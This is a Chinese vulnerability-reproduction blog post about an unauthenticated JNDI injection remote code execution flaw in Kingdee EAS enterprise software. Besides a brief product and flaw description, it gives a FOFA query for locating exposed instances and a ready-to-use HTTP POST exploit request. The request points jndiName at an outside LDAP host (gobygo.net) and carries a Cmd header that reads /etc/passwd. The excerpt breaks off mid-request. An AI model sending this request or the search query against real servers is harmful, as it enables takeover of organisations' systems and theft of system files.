【漏洞复现】金蝶 EAS createdatasource jndi 远程代码执行漏洞

最新推荐文章于 2024-05-10 17:52:01 发布

从不学安全

最新推荐文章于 2024-05-10 17:52:01 发布

阅读量710

点赞数

CC 4.0 BY-SA版权

分类专栏：漏洞复现文章标签：安全网络

本文链接：https://blog.youkuaiyun.com/qq_67810151/article/details/137354235

漏洞复现专栏收录该内容

99 篇文章 ¥9.90 ¥99.00

订阅专栏

超级会员免费看

本文介绍了金蝶EAS的企业应用背景，详细阐述了其存在的JNDI注入漏洞，该漏洞允许未授权攻击者执行远程代码，可能导致服务器被完全控制。文章通过测绘语句和漏洞复现过程，揭示了漏洞的影响范围，并附有免责声明。

摘要生成于 C知道，由 DeepSeek-R1 满血版支持，前往体验 >

0x01 产品简介

金蝶 EAS 是金蝶软件公司推出的一套企业级应用软件套件，旨在帮助企业实现全面的管理和业务流程优化。

0x02 漏洞概述

金蝶 EAS 存在JNDI注入漏洞，未授权的攻击者可以通过该漏洞进行远程代码执行，导致服务器被控制。

0x03 测绘语句

fofa: app="Kingdee-EAS"

0x04 漏洞复现


POST /appmonitor//protect/datasource/createDataSource HTTP/1.1

Host:

Cmd: cat /etc/passwd

Content-Type: application/x-www-form-urlencoded

Referer: https://xxxx

name=1234&jndiName=ldap://gobygo.net/A7&dbtype=mysql&drivertype=&host=127.0.0.1&port=3306&dbname=asdasxasx&userName=asdasxasx&password=asdasxasx&repassword=asdasxasx&connectionURL=sdasd&a

了解本专栏